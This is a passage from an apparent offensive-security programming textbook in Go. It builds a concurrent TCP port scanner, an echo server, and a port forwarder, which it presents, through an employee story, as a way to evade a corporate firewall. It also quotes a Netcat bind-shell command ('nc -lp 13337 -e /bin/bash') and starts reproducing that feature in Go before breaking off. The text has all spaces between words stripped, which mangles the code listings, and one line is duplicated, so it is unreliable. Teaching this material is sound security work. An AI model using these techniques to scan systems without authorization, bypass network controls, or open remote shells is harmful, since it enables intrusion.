byusinganintermediarysystemtoproxytheconnection aroundorthroughafirewall,atechniqueknownasport forwarding. Manyenterprisenetworksrestrictinternalassetsfrom establishingHTTPconnectionstomalicioussites.Forthis example,imagineanefarioussitecalledevil.com.Ifan employeeattemptstobrowseevil.comdirectly,afirewall blockstherequest.However,shouldanemployeeownan externalsystemthat’sallowedthroughthefirewall(for example,stacktitan.com),thatemployeecanleveragethe alloweddomaintobounceconnectionstoevil.com.Figure2-2 illustratesthisconcept. Figure2-1:ATCPproxy Aclientconnects,throughafirewall,tothedestinationhost stacktitan.com.Thishostisconfiguredtoforwardconnections tothehostevil.com.Whileafirewallforbidsdirect connectionstoevil.com,aconfigurationsuchastheoneshown herecouldallowaclienttocircumventthisprotection mechanismandaccessevil.com. Youcanuseportforwardingtoexploitseveralrestrictive networkconfigurations.Forexample,youcouldforward trafficthroughajumpboxtoaccessasegmentednetworkor accessportsboundtorestrictiveinterfaces. WRITINGATCPSCANNER OneeffectivewaytoconceptualizetheinteractionofTCP portsisbyimplementingaportscanner.Bywritingone,you’ll observethestepsthatoccurinaTCPhandshake,alongwith theeffectsofencounteredstatechanges,whichallowyouto determinewhetheraTCPportisavailableorwhetherit respondswithaclosedorfilteredstate. Onceyou’vewrittenabasicscanner,you’llwriteonethat’s faster.Aportscannermayscanseveralportsbyusingasingle contiguousmethod;however,thiscanbecometime- consumingwhenyourgoalistoscanall65,535ports.You’ll explorehowtouseconcurrencytomakeaninefficientport scannermoresuitableforlargerport-scanningtasks. You’llalsobeabletoapplytheconcurrencypatternsthat you’lllearninthissectioninmanyotherscenarios,bothinthis bookandbeyond. TestingforPortAvailability Thefirststepincreatingtheportscannerisunderstandinghow toinitiateaconnectionfromaclienttoaserver.Throughout thisexample,you’llbeconnectingtoandscanning scanme.nmap.org,aservicerunbytheNmapproject. Todo this,you’lluseGo’snetpackage:net.Dial(network,addressstring). Thefirstargumentisastringthatidentifiesthekindof connectiontoinitiate.ThisisbecauseDialisn’tjustforTCP;it canbeusedforcreatingconnectionsthatuseUnixsockets, UDP,andLayer4protocolsthatexistonlyinyourhead(the authorshavebeendownthisroad,andsufficeittosay,TCPis verygood).Thereareafewstringsyoucanprovide,butfor thesakeofbrevity,you’llusethestringtcp. ThesecondargumenttellsDial(network,addressstring)thehost towhichyouwishtoconnect.Noticeit’sasinglestring,nota stringandanint.ForIPv4/TCPconnections,thisstringwilltake theformofhost:port.Forexample,ifyouwantedtoconnectto scanme.nmap.orgonTCPport80,youwouldsupply scanme.nmap.org:80. Nowyouknowhowtocreateaconnection,buthowwill 1 youknowiftheconnectionissuccessful?You’lldothis througherrorchecking:Dial(network,addressstring)returnsConnand error,anderrorwillbeniliftheconnectionissuccessful.So,to verifyyourconnection,youjustcheckwhethererrorequalsnil. Younowhaveallthepiecesneededtobuildasingleport scanner,albeitanimpoliteone.Listing2-1showshowtoputit together.(Allthecodelistingsattherootlocationof/exist undertheprovidedgithubrepohttps://github.com/blackhat- go/bhg/.) packagemain import( "fmt" "net" ) funcmain(){ _,err:=net.Dial("tcp","scanme.nmap.org:80") iferr==nil{ fmt.Println("Connectionsuccessful") } } Listing2-1:Abasicportscannerthatscansonlyoneport(/ch-2/dial/main.go) Runthiscode.YoushouldseeConnectionsuccessful,provided youhaveaccesstothegreatinformationsuperhighway. PerformingNonconcurrentScanning Scanningasingleportatatimeisn’tuseful,anditcertainly isn’tefficient.TCPportsrangefrom1to65535;butfor testing,let’sscanports1to1024.Todothis,youcanuseafor loop: fori:=1;i<=1024;i++{ fori:=1;i<=1024;i++{ } Nowyouhaveanint,butremember,youneedastringas thesecondargumenttoDial(network,addressstring).Thereareat leasttwowaystoconverttheintegerintoastring.Onewayis tousethestringconversionpackage,strconv.Theotherwayis touseSprintf(formatstring,a...interface{})fromthefmtpackage, which(similartoitsCsibling)returnsastringgeneratedfroma formatstring. CreateanewfilewiththecodeinListing2-2andensure thatbothyourloopandstringgenerationwork.Runningthis codeshouldprint1024lines,butdon’tfeelobligatedtocount them. packagemain import( "fmt" ) funcmain(){ fori:=1;i<=1024;i++{ address:=fmt.Sprintf("scanme.nmap.org:%d",i) fmt.Println(address) } } Listing2-2:Scanning1024portsofscanme.nmap.org(/ch-2/tcp-scanner- slow/main.go) Allthat’sleftistoplugtheaddressvariablefromthe previouscodeexampleintoDial(network,addressstring),and implementthesameerrorcheckingfromtheprevioussection totestportavailability.Youshouldalsoaddsomelogicto closetheconnectionifitwassuccessful;thatway,connections aren’tleftopen.FINishingyourconnectionsisjustpolite.To dothat,you’llcallClose()onConn.Listing2-3showsthe completedportscanner. packagemain import( "fmt" "net" ) funcmain(){ fori:=1;i<=1024;i++{ address:=fmt.Sprintf("scanme.nmap.org:%d",i) conn,err:=net.Dial("tcp",address) iferr!=nil{ //portisclosedorfiltered. continue } conn.Close() fmt.Printf("%dopen\n",i) } } Listing2-3:Thecompletedportscanner(/ch-2/tcp-scanner-slow/main.go) Compileandexecutethiscodetoconductalightscan againstthetarget.Youshouldseeacoupleofopenports. PerformingConcurrentScanning Thepreviousscannerscannedmultipleportsinasinglego (punintended).Butyourgoalnowistoscanmultipleports concurrently,whichwillmakeyourportscannerfaster.Todo this,you’llharnessthepowerofgoroutines.Gowillletyou createasmanygoroutinesasyoursystemcanhandle,bound onlybyavailablememory. The“TooFast”ScannerVersion Themostnaivewaytocreateaportscannerthatruns concurrentlyistowrapthecalltoDial(network,addressstring)ina goroutine.Intheinterestoflearningfromnatural consequences,createanewfilecalledscan-too-fast.gowith thecodeinListing2-4andexecuteit. packagemain import( "fmt" "net" ) funcmain(){ fori:=1;i<=1024;i++{ gofunc(jint){ address:=fmt.Sprintf("scanme.nmap.org:%d",j) conn,err:=net.Dial("tcp",address) iferr!=nil{ return } conn.Close() fmt.Printf("%dopen\n",j) }(i) } } Listing2-4:Ascannerthatworkstoofast(/ch-2/tcp-scanner-too-fast/main.go) Uponrunningthiscode,youshouldobservetheprogram exitingalmostimmediately: $time./tcp-scanner-too-fast ./tcp-scanner-too-fast0.00suser0.00ssystem90%cpu0.004total Thecodeyoujustranlaunchesasinglegoroutineper connection,andthemaingoroutinedoesn’tknowtowaitfor theconnectiontotakeplace.Therefore,thecodecompletes andexitsassoonastheforloopfinishesitsiterations,which maybefasterthanthenetworkexchangeofpacketsbetween yourcodeandthetargetports.Youmaynotgetaccurate resultsforportswhosepacketswerestillin-flight. Thereareafewwaystofixthis.OneistouseWaitGroup fromthesyncpackage,whichisathread-safewaytocontrol concurrency.WaitGroupisastructtypeandcanbecreatedlike so: varwgsync.WaitGroup Onceyou’vecreatedWaitGroup,youcancallafewmethods onthestruct.ThefirstisAdd(int),whichincreasesaninternal counterbythenumberprovided.Next,Done()decrementsthe counterbyone.Finally,Wait()blockstheexecutionofthe goroutineinwhichit’scalled,andwillnotallowfurther executionuntiltheinternalcounterreacheszero.Youcan combinethesecallstoensurethatthemaingoroutinewaitsfor allconnectionstofinish. SynchronizedScanningUsingWaitGroup Listing2-5showsthesameport-scanningprogramwitha differentimplementationofthegoroutines. packagemain import( "fmt" "net" "sync" ) funcmain(){ ❶varwgsync.WaitGroup fori:=1;i<=1024;i++{ ❷wg.Add(1) gofunc(jint){ ❸deferwg.Done() address:=fmt.Sprintf("scanme.nmap.org:%d",j) conn,err:=net.Dial("tcp",address) iferr!=nil{ return } conn.Close() fmt.Printf("%dopen\n",j) }(i) } ❹wg.Wait() } Listing2-5:AsynchronizedscannerthatusesWaitGroup(/ch-2/tcp-scanner-wg-too- fast/main.go) Thisiterationofthecoderemainslargelyidenticaltoour initialversion.However,you’veaddedcodethatexplicitly trackstheremainingwork.Inthisversionoftheprogram,you createsync.WaitGroup❶,whichactsasasynchronizedcounter. Youincrementthiscounterviawg.Add(1)eachtimeyoucreatea goroutinetoscanaport❷,andadeferredcalltowg.Done() decrementsthecounterwheneveroneunitofworkhasbeen performed❸.Yourmain()functioncallswg.Wait(),whichblocks untilalltheworkhasbeendoneandyourcounterhasreturned tozero❹. Thisversionoftheprogramisbetter,butstillincorrect.If yourunthismultipletimesagainstmultiplehosts,youmight seeinconsistentresults.Scanninganexcessivenumberof hostsorportssimultaneouslymaycausenetworkorsystem limitationstoskewyourresults.Goaheadandchange1024to 65535,andthedestinationservertoyourlocalhost127.0.0.1in yourcode.Ifyouwant,youcanuseWiresharkortcpdumpto seehowfastthoseconnectionsareopened. PortScanningUsingaWorkerPool Toavoidinconsistencies,you’lluseapoolofgoroutinesto managetheconcurrentworkbeingperformed.Usingafor loop,you’llcreateacertainnumberofworkergoroutinesasa resourcepool.Then,inyourmain()“thread,”you’llusea channeltoprovidework. Tostart,createanewprogramthathas100workers, consumesachannelofint,andprintsthemtothescreen.You’ll stilluseWaitGrouptoblockexecution.Createyourinitialcode stubforamainfunction.Aboveit,writethefunctionshownin Listing2-6. funcworker(portschanint,wg*sync.WaitGroup){ forp:=rangeports{ fmt.Println(p) wg.Done() } } Listing2-6:Aworkerfunctionforprocessingwork Theworker(int,*sync.WaitGroup)functiontakestwoarguments:a channeloftypeintandapointertoaWaitGroup.Thechannelwill beusedtoreceivework,andtheWaitGroupwillbeusedtotrack whenasingleworkitemhasbeencompleted. Now,addyourmain()functionshowninListing2-7,which willmanagetheworkloadandprovideworktoyourworker(int, *sync.WaitGroup)function. packagemain import( "fmt" "sync" ) funcworker(portschanint,wg*sync.WaitGroup){ ❶forp:=rangeports{ fmt.Println(p) wg.Done() } } funcmain(){ ports:=make❷(chanint,100) varwgsync.WaitGroup ❸fori:=0;i<cap(ports);i++{ goworker(ports,&wg) } fori:=1;i<=1024;i++{ wg.Add(1) ❹ports<-i } wg.Wait() ❺close(ports) } Listing2-7:Abasicworkerpool(/ch-2/tcp-sync-scanner/main.go) First,youcreateachannelbyusingmake()❷.Asecond parameter,anintvalueof100,isprovidedtomake()here.This allowsthechanneltobebuffered,whichmeansyoucansend itanitemwithoutwaitingforareceivertoreadtheitem. Bufferedchannelsareidealformaintainingandtrackingwork formultipleproducersandconsumers.You’vecappedthe channelat100,meaningitcanhold100itemsbeforethe senderwillblock.Thisisaslightperformanceincrease,asit willallowalltheworkerstostartimmediately. Next,youuseaforloop❸tostartthedesirednumberof workers—inthiscase,100.Intheworker(int,*sync.WaitGroup) function,youuserange❶tocontinuouslyreceivefromtheports channel,loopinguntilthechannelisclosed.Noticethatyou aren’tdoinganyworkyetintheworker—that’llcomeshortly. Iteratingovertheportssequentiallyinthemain()function,you sendaportontheportschannel❹totheworker.Afterallthe workhasbeencompleted,youclosethechannel❺. Onceyoubuildandexecutethisprogram,you’llseeyour numbersprintedtothescreen.Youmightnoticesomething interestinghere:thenumbersareprintedinnoparticularorder. Welcometothewonderfulworldofparallelism. MultichannelCommunication Tocompletetheportscanner,youcouldpluginyourcode fromearlierinthesection,anditwouldworkjustfine. However,theprintedportswouldbeunsorted,becausethe scannerwouldn’tchecktheminorder.Tosolvethisproblem, youneedtouseaseparatethreadtopasstheresultoftheport scanbacktoyourmainthreadtoordertheportsbefore printing.Anotherbenefitofthismodificationisthatyoucan removethedependencyofaWaitGroupentirely,asyou’llhave anothermethodoftrackingcompletion.Forexample,ifyou scan1024ports,you’resendingontheworkerchannel1024 times,andyou’llneedtosendtheresultofthatworkbackto themainthread1024times.Becausethenumberofworkunits sentandthenumberofresultsreceivedarethesame,your programcanknowwhentoclosethechannelsand subsequentlyshutdowntheworkers. ThismodificationisdemonstratedinListing2-8,which completestheportscanner. packagemain import( "fmt" "net" "sort" ) ❶funcworker(ports,resultschanint){ forp:=rangeports{ address:=fmt.Sprintf("scanme.nmap.org:%d",p) conn,err:=net.Dial("tcp",address) iferr!=nil{ ❷results<-0 continue } conn.Close() ❸results<-p } } funcmain(){ ports:=make(chanint,100) ❹results:=make(chanint) ❺varopenports[]int fori:=0;i<cap(ports);i++{ goworker(ports,results) } ❻gofunc(){ fori:=1;i<=1024;i++{ ports<-i } }() ❼fori:=0;i<1024;i++{ port:=<-results ifport!=0{ openports=append(openports,port) } } close(ports) close(results) ❽sort.Ints(openports) for_,port:=rangeopenports{ fmt.Printf("%dopen\n",port) } } Listing2-8:Portscanningwithmultiplechannels(/ch-2/tcp-scanner-final/main.go) Theworker(ports,resultschanint)functionhasbeenmodifiedto accepttwochannels❶;theremaininglogicismostlythe same,exceptthatiftheportisclosed,you’llsendazero❷, andifit’sopen,you’llsendtheport❸.Also,youcreatea separatechanneltocommunicatetheresultsfromtheworker tothemainthread❹.Youthenuseaslice❺tostorethe resultssoyoucansortthemlater.Next,youneedtosendto theworkersinaseparategoroutine❻becausetheresult- gatheringloopneedstostartbeforemorethan100itemsof workcancontinue. Theresult-gatheringloop❼receivesontheresultschannel 1024times.Iftheportdoesn’tequal0,it’sappendedtothe slice.Afterclosingthechannels,you’llusesort❽tosortthe sliceofopenports.Allthat’sleftistoloopoverthesliceand printtheopenportstoscreen. Thereyouhaveit:ahighlyefficientportscanner.Take sometimetoplayaroundwiththecode—specifically,the numberofworkers.Thehigherthecount,thefasteryour programshouldexecute.Butifyouaddtoomanyworkers, yourresultscouldbecomeunreliable.Whenyou’rewriting toolsforotherstouse,you’llwanttouseahealthydefault valuethatcaterstoreliabilityoverspeed.However,you shouldalsoallowuserstoprovidethenumberofworkersasan option. Youcouldmakeacoupleofimprovementstothisprogram. First,you’resendingontheresultschannelforeveryport scanned,andthisisn’tnecessary.Thealternativerequirescode thatisslightlymorecomplexasitusesanadditionalchannel notonlytotracktheworkers,butalsotopreventarace conditionbyensuringthecompletionofallgatheredresults. Asthisisanintroductorychapter,wepurposefullyleftthis out;butdon’tworry!We’llintroducethispatterninChapter3. Second,youmightwantyourscannertobeabletoparseport- strings—forexample,80,443,8080,21-25,likethosethatcanbe passedtoNmap.Ifyouwanttoseeanimplementationofthis, seehttps://github.com/blackhat-go/bhg/blob/master/ch- 2/scanner-port-format/.We’llleavethisasanexerciseforyou toexplore. BUILDINGATCPPROXY YoucanachieveallTCP-basedcommunicationsbyusing Go’sbuilt-innetpackage.Theprevioussectionfocused primarilyonusingthenetpackagefromaclient’sperspective, andthissectionwilluseittocreateTCPserversandtransfer data.You’llbeginthisjourneybybuildingtherequisiteecho server—aserverthatmerelyechoesagivenresponsebacktoa client—followedbytwomuchmoregenerallyapplicable programs:aTCPportforwarderandare-creationofNetcat’s “gapingsecurityhole”forremotecommandexecution. Usingio.Readerandio.Writer Tocreatetheexamplesinthissection,youneedtousetwo significanttypesthatarecrucialtoessentiallyallinput/output (I/O)tasks,whetheryou’reusingTCP,HTTP,afilesystem,or anyothermeans:io.Readerandio.Writer.PartofGo’sbuilt-inio package,thesetypesactasthecornerstonetoanydata transmission,localornetworked.Thesetypesaredefinedin Go’sdocumentationasfollows: typeReaderinterface{ Read(p[]byte)(nint,errerror) } typeWriterinterface{ Write(p[]byte)(nint,errerror) } Bothtypesaredefinedasinterfaces,meaningtheycan’tbe directlyinstantiated.Eachtypecontainsthedefinitionofa singleexportedfunction:ReadorWrite.AsexplainedinChapter 1,youcanthinkofthesefunctionsasabstractmethodsthat mustbeimplementedonatypeforittobeconsideredaReader orWriter.Forexample,thefollowingcontrivedtypefulfillsthis contractandcanbeusedanywhereaReaderisaccepted: typeFooReaderstruct{} func(fooReader*FooReader)Read(p[]byte)(int,error){ //Readsomedatafromsomewhere,anywhere. returnlen(dataReadFromSomewhere),nil } ThissameideaappliestotheWriterinterface: typeFooWriterstruct{} func(fooWriter*FooWriter)Write(p[]byte)(int,error){ //Writedatasomewhere. returnlen(dataWrittenSomewhere),nil } Let’stakethisknowledgeandcreatesomethingsemi- usable:acustomReaderandWriterthatwrapsstdinandstdout. ThecodeforthisisalittlecontrivedsinceGo’sos.Stdinand os.StdouttypesalreadyactasReaderandWriter,butthenyou wouldn’tlearnanythingifyoudidn’treinventthewheelevery nowandagain,wouldyou? Listing2-9showsafullimplementation,andan explanationfollows. packagemain import( "fmt" "log" "os" ) //FooReaderdefinesanio.Readertoreadfromstdin. ❶typeFooReaderstruct{} //Readreadsdatafromstdin. ❷func(fooReader*FooReader)Read(b[]byte)(int,error){ fmt.Print("in>") returnos.Stdin.Read(b)❸ } //FooWriterdefinesanio.WritertowritetoStdout. ❹typeFooWriterstruct{} //WritewritesdatatoStdout. ❺func(fooWriter*FooWriter)Write(b[]byte)(int,error){ fmt.Print("out>") returnos.Stdout.Write(b)❻ } funcmain(){ //Instantiatereaderandwriter. var( readerFooReader writerFooWriter ) //Createbuffertoholdinput/output. ❼input:=make([]byte,4096) //Usereadertoreadinput. s,err:=reader.Read(input)❽ iferr!=nil{ log.Fatalln("Unabletoreaddata") } fmt.Printf("Read%dbytesfromstdin\n",s) //Usewritertowriteoutput. s,err=writer.Write(input)❾ iferr!=nil{ log.Fatalln("Unabletowritedata") } fmt.Printf("Wrote%dbytestostdout\n",s) } Listing2-9:Areaderandwriterdemonstration(/ch-2/io-example/main.go) Thecodedefinestwocustomtypes:FooReader❶and FooWriter❹.Oneachtype,youdefineaconcrete implementationoftheRead([]byte)function❷forFooReaderand theWrite([]byte)function❺forFooWriter.Inthiscase,both functionsarereadingfromstdin❸andwritingtostdout❻. NotethattheReadfunctionsonbothFooReaderandos.Stdin returnthelengthofdataandanyerrors.Thedataitselfis copiedintothebyteslicepassedtothefunction.Thisis consistentwiththeReaderinterfaceprototypedefinition providedearlierinthissection.Themain()functioncreatesthat slice(namedinput)❼andthenproceedstouseitincallsto FooReader.Read([]byte)❽andFooReader.Write([]byte)❾. Asamplerunoftheprogramproducesthefollowing: $gorunmain.go in>helloworld!!! Read15bytesfromstdin out>helloworld!!! Wrote4096bytestostdout CopyingdatafromaReadertoaWriterisafairlycommon pattern—somuchsothatGo’siopackagecontainsaCopy() functionthatcanbeusedtosimplifythemain()function.The functionprototypeisasfollows: funcCopy(dstio.Writer,srcio.Reader)(writtenint64,error) Thisconveniencefunctionallowsyoutoachievethesame programmaticbehaviorasbefore,replacingyourmain() functionwiththecodeinListing2-10. funcmain(){ var( readerFooReader writerFooWriter ) if_,err:=io.Copy(&writer,&reader)❶;err!=nil{ log.Fatalln("Unabletoread/writedata") } } Listing2-10:Usingio.Copy(/ch-2/copy-example/main.go) Noticethattheexplicitcallstoreader.Read([]byte)and writer.Write([]byte)havebeenreplacedwithasinglecallto io.Copy(writer,reader)❶.Underthecovers,io.Copy(writer,reader)calls theRead([]byte)functionontheprovidedreader,triggeringthe FooReadertoreadfromstdin.Subsequently,io.Copy(writer,reader) callstheWrite([]byte)functionontheprovidedwriter,resulting inacalltoyourFooWriter,whichwritesthedatatostdout. Essentially,io.Copy(writer,reader)handlesthesequentialread-then- writeprocesswithoutallthepettydetails. Thisintroductorysectionisbynomeansacomprehensive lookatGo’sI/Oandinterfaces.Manyconveniencefunctions andcustomreadersandwritersexistaspartofthestandardGo packages.Inmostcases,Go’sstandardpackagescontainall thebasicimplementationstoachievethemostcommontasks. Inthenextsection,let’sexplorehowtoapplythese fundamentalstoTCPcommunications,eventuallyusingthe powervestedinyoutodevelopreal-life,usabletools. CreatingtheEchoServer Asiscustomaryformostlanguages,you’llstartbybuildingan echoservertolearnhowtoreadandwritedatatoandfroma socket.Todothis,you’llusenet.Conn,Go’sstream-oriented networkconnection,whichweintroducedwhenyoubuilta portscanner.BasedonGo’sdocumentationforthedatatype, ConnimplementstheRead([]byte)andWrite([]byte)functionsas definedfortheReaderandWriterinterfaces.Therefore,Connis bothaReaderandaWriter(yes,thisispossible).Thismakes senselogically,asTCPconnectionsarebidirectionalandcan beusedtosend(write)orreceive(read)data. AftercreatinganinstanceofConn,you’llbeabletosend andreceivedataoveraTCPsocket.However,aTCPserver can’tsimplymanufactureaconnection;aclientmustestablish aconnection.InGo,youcanusenet.Listen(network,addressstring)to firstopenaTCPlisteneronaspecificport.Onceaclient connects,theAccept()methodcreatesandreturnsaConnobject thatyoucanuseforreceivingandsendingdata. Listing2-11showsacompleteexampleofaserver implementation.We’veincludedcommentsinlineforclarity. Don’tworryaboutunderstandingthecodeinitsentirety,as we’llbreakitdownmomentarily. packagemain import( "log" "net" ) //echoisahandlerfunctionthatsimplyechoesreceiveddata. funcecho(connnet.Conn){ deferconn.Close() //Createabuffertostorereceiveddata. b:=make([]byte,512) ❶for{ //Receivedataviaconn.Readintoabuffer. size,err:=conn.Read❷(b[0:]) iferr==io.EOF{ log.Println("Clientdisconnected") break } iferr!=nil{ log.Println("Unexpectederror") break } log.Printf("Received%dbytes:%s\n",size,string(b)) //Senddataviaconn.Write. log.Println("Writingdata") if_,err:=conn.Write❸(b[0:size]);err!=nil{ log.Fatalln("Unabletowritedata") } } } funcmain(){ //BindtoTCPport20080onallinterfaces. ❹listener,err:=net.Listen("tcp",":20080") iferr!=nil{ log.Fatalln("Unabletobindtoport") } log.Println("Listeningon0.0.0.0:20080") ❺for{ //Waitforconnection.Createnet.Connonconnectionestablished. ❻conn,err:=listener.Accept() log.Println("Receivedconnection") iferr!=nil{ log.Fatalln("Unabletoacceptconnection") } //Handletheconnection.Usinggoroutineforconcurrency. ❼goecho(conn) } } Listing2-11:Abasicechoserver(/ch-2/echo-server/main.go) Listing2-11beginsbydefiningafunctionnamed echo(net.Conn),whichacceptsaConninstanceasaparameter.It behavesasaconnectionhandlertoperformallnecessaryI/O. Thefunctionloopsindefinitely❶,usingabuffertoread❷ andwrite❸datafromandtotheconnection.Thedataisread intoavariablenamedbandsubsequentlywrittenbackonthe connection. Nowyouneedtosetupalistenerthatwillcallyour handler.Asmentionedpreviously,aservercan’tmanufacture aconnectionbutmustinsteadlistenforaclienttoconnect. Therefore,alistener,definedastcpboundtoport20080,is startedonallinterfacesbyusingthenet.Listen(network,address string)function❹. Next,aninfiniteloop❺ensuresthattheserverwill continuetolistenforconnectionsevenafteronehasbeen received.Withinthisloop,youcalllistener.Accept()❻,afunction thatblocksexecutionasitawaitsclientconnections.Whena clientconnects,thisfunctionreturnsaConninstance.Recall fromearlierdiscussionsinthissectionthatConnisbothaReader andaWriter(itimplementstheRead([]byte)andWrite([]byte) interfacemethods). TheConninstanceisthenpassedtotheecho(net.Conn)handler function❼.Thiscallisprefacedwiththegokeyword,making itaconcurrentcallsothatotherconnectionsdon’tblockwhile waitingforthehandlerfunctiontocomplete.Thisislikely overkillforsuchasimpleserver,butwe’veincludeditagain todemonstratethesimplicityofGo’sconcurrencypattern,in caseitwasn’talreadyclear.Atthispoint,youhavetwo lightweightthreadsrunningconcurrently: Themainthreadloopsbackandblocksonlistener.Accept()whileitawaits anotherconnection. Thehandlergoroutine,whoseexecutionhasbeentransferredtothe echo(net.Conn)function,proceedstorun,processingthedata. ThefollowingshowsanexampleusingTelnetasthe connectingclient: $telnetlocalhost20080 Trying127.0.0.1... Connectedtolocalhost. Escapecharacteris'^]'. testoftheechoserver testoftheechoserver Theserverproducesthefollowingstandardoutput: $gorunmain.go 2020/01/0106:22:09Listeningon0.0.0.0:20080 2020/01/0106:22:14Receivedconnection 2020/01/0106:22:18Received25bytes:testoftheechoserver 2020/01/0106:22:18Writingdata Revolutionary,right?Aserverthatrepeatsbacktothe clientexactlywhattheclientsenttotheserver.Whatauseful andexcitingexample!It’squiteatimetobealive. ImprovingtheCodebyCreatingaBufferedListener TheexampleinListing2-11worksperfectlyfinebutrelieson fairlylow-levelfunctioncalls,buffertracking,anditerative reads/writes.Thisisasomewhattedious,error-proneprocess. Fortunately,Gocontainsotherpackagesthatcansimplifythis processandreducethecomplexityofthecode.Specifically, thebufiopackagewrapsReaderandWritertocreateabufferedI/O mechanism.Theupdatedecho(net.Conn)functionisdetailedhere, andanexplanationofthechangesfollows: funcecho(connnet.Conn){ deferconn.Close() ❶reader:=bufio.NewReader(conn) s,err:=reader.ReadString('\n')❷ iferr!=nil{ log.Fatalln("Unabletoreaddata") } log.Printf("Read%dbytes:%s",len(s),s) log.Println("Writingdata") ❸writer:=bufio.NewWriter(conn) if_,err:=writer.WriteString(s)❹;err!=nil{ log.Fatalln("Unabletowritedata") } ❺writer.Flush() } NolongerareyoudirectlycallingtheRead([]byte)and Write([]byte)functionsontheConninstance;instead,you’re initializinganewbufferedReaderandWritervia NewReader(io.Reader)❶andNewWriter(io.Writer)❸.Thesecallsboth take,asaparameter,anexistingReaderandWriter(remember, theConntypeimplementsthenecessaryfunctionstobe consideredbothaReaderandaWriter). Bothbufferedinstancescontaincomplementaryfunctions forreadingandwritingstringdata.ReadString(byte)❷takesa delimitercharacterusedtodenotehowfartoread,whereas WriteString(byte)❹writesthestringtothesocket.Whenwriting data,youneedtoexplicitlycallwriter.Flush()❺toflushwriteall thedatatotheunderlyingwriter(inthiscase,aConninstance). Althoughthepreviousexamplesimplifiestheprocessby usingbufferedI/O,youcanreframeittousetheCopy(Writer, Reader)conveniencefunction.Recallthatthisfunctiontakesas inputadestinationWriterandasourceReader,simplycopying fromsourcetodestination. Inthisexample,you’llpasstheconnvariableasboththe sourceanddestinationbecauseyou’llbeechoingthecontents backontheestablishedconnection: funcecho(connnet.Conn){ deferconn.Close() //Copydatafromio.Readertoio.Writerviaio.Copy(). if_,err:=io.Copy(conn,conn);err!=nil{ log.Fatalln("Unabletoread/writedata") } } You’veexploredthebasicsofI/OandappliedittoTCP servers.Nowit’stimetomoveontomoreusable,relevant examples. ProxyingaTCPClient Nowthatyouhaveasolidfoundation,youcantakewhat you’velearneduptothispointandcreateasimpleport forwardertoproxyaconnectionthroughanintermediary serviceorhost.Asmentionedearlierinthischapter,thisis usefulfortryingtocircumventrestrictiveegresscontrolsorto leverageasystemtobypassnetworksegmentation. Beforelayingoutthecode,considerthisimaginarybut realisticproblem:Joeisanunderperformingemployeewho worksforACMEInc.asabusinessanalystmakinga handsomesalarybasedonslightexaggerationsheincludedon hisresume.(DidhereallygotoanIvyLeagueschool?Joe, that’snotveryethical.)Joe’slackofmotivationismatched onlybyhisloveforcats—somuchsothatJoeinstalledcat camerasathomeandhostedasite,joescatcam.website, throughwhichhecouldremotelymonitorthedander-filled fluffbags.Oneproblem,though:ACMEisontoJoe.They don’tlikethathe’sstreaminghiscatcam24/7in4Kultra high-def,usingvaluableACMEnetworkbandwidth.ACME hasevenblockeditsemployeesfromvisitingJoe’scatcam website. Joehasanidea.“WhatifIsetupaport-forwarderonan internet-basedsystemIcontrol,”Joesays,“andforcethe redirectionofalltrafficfromthathosttojoescatcam.website?” Joechecksatworkthefollowingdayandconfirmshecan accesshispersonalwebsite,hostedatthejoesproxy.com domain.Joeskipshisafternoonmeetings,headstoacoffee shop,andquicklycodesasolutiontohisproblem.He’ll forwardalltrafficreceivedathttp://joesproxy.comto http://joescatcam.website. Here’sJoe’scode,whichherunsonthejoesproxy.com server: funchandle(srcnet.Conn){ dst,err:=net.Dial("tcp","joescatcam.website:80")❶ iferr!=nil{ log.Fatalln("Unabletoconnecttoourunreachablehost") } deferdst.Close() //Runingoroutinetopreventio.Copyfromblocking ❷gofunc(){ //Copyoursource'soutputtothedestination if_,err:=io.Copy(dst,src)❸;err!=nil{ log.Fatalln(err) } }() //Copyourdestination'soutputbacktooursource if_,err:=io.Copy(src,dst)❹;err!=nil{ log.Fatalln(err) } } funcmain(){ //Listenonlocalport80 listener,err:=net.Listen("tcp",":80") iferr!=nil{ log.Fatalln("Unabletobindtoport") } for{ conn,err:=listener.Accept() iferr!=nil{ log.Fatalln("Unabletoacceptconnection") } gohandle(conn) } } StartbyexaminingJoe’shandle(net.Conn)function.Joe connectstojoescatcam.website❶(recallthatthisunreachable hostisn’tdirectlyaccessiblefromJoe’scorporate workstation).JoethenusesCopy(Writer,Reader)twoseparate times.Thefirstinstance❸ensuresthatdatafromtheinbound connectioniscopiedtothejoescatcam.websiteconnection. Thesecondinstance❹ensuresthatdatareadfrom joescatcam.websiteiswrittenbacktotheconnectingclient’s connection.BecauseCopy(Writer,Reader)isablockingfunction, andwillcontinuetoblockexecutionuntilthenetwork connectionisclosed,Joewiselywrapshisfirstcallto Copy(Writer,Reader)inanewgoroutine❷.Thisensuresthat executionwithinthehandle(net.Conn)functioncontinues,andthe secondCopy(Writer,Reader)callcanbemade. Joe’sproxylistensonport80andrelaysanytraffic receivedfromaconnectiontoandfromport80on joescatcam.website.Joe,thatcrazyandwastefulman, confirmsthathecanconnecttojoescatcam.websitevia joesproxy.combyconnectingwithcurl: $curl-i-XGEThttp://joesproxy.com HTTP/1.1200OK Date:Wed,25Nov202019:51:54GMT Server:Apache/2.4.18(Ubuntu) Last-Modified:Thu,27Jun201915:30:43GMT ETag:"6d-519594e7f2d25" Accept-Ranges:bytes Content-Length:109 Vary:Accept-Encoding Content-Type:text/html --snip-- Atthispoint,Joehasdoneit.He’slivingthedream, wastingACME-sponsoredtimeandnetworkbandwidthwhile hewatcheshiscats.Today,therewillbecats! ReplicatingNetcatforCommandExecution Inthissection,let’sreplicatesomeofNetcat’smore interestingfunctionality—specifically,itsgapingsecurityhole. NetcatistheTCP/IPSwissArmyknife—essentially,a moreflexible,scriptableversionofTelnet.Itcontainsafeature thatallowsstdinandstdoutofanyarbitraryprogramtobe redirectedoverTCP,enablinganattackerto,forexample,turn asinglecommandexecutionvulnerabilityintooperating systemshellaccess.Considerthefollowing: $nc–lp13337–e/bin/bash Thiscommandcreatesalisteningserveronport13337. Anyremoteclientthatconnects,perhapsviaTelnet,wouldbe abletoexecutearbitrarybashcommands—hencethereason thisisreferredtoasagapingsecurityhole.Netcatallowsyou tooptionallyincludethisfeatureduringprogramcompilation. (Forgoodreason,mostNetcatbinariesyou’llfindonstandard Linuxbuildsdonotincludethisfeature.)It’sdangerous enoughthatwe’llshowyouhowtocreateitinGo! First,lookatGo’sos/execpackage.You’llusethatfor runningoperatingsystemcommands.Thispackagedefinesa type,Cmd,thatcontainsnecessarymethodsandpropertiesto runcommandsandmanipulatestdinandstdout.You’ll 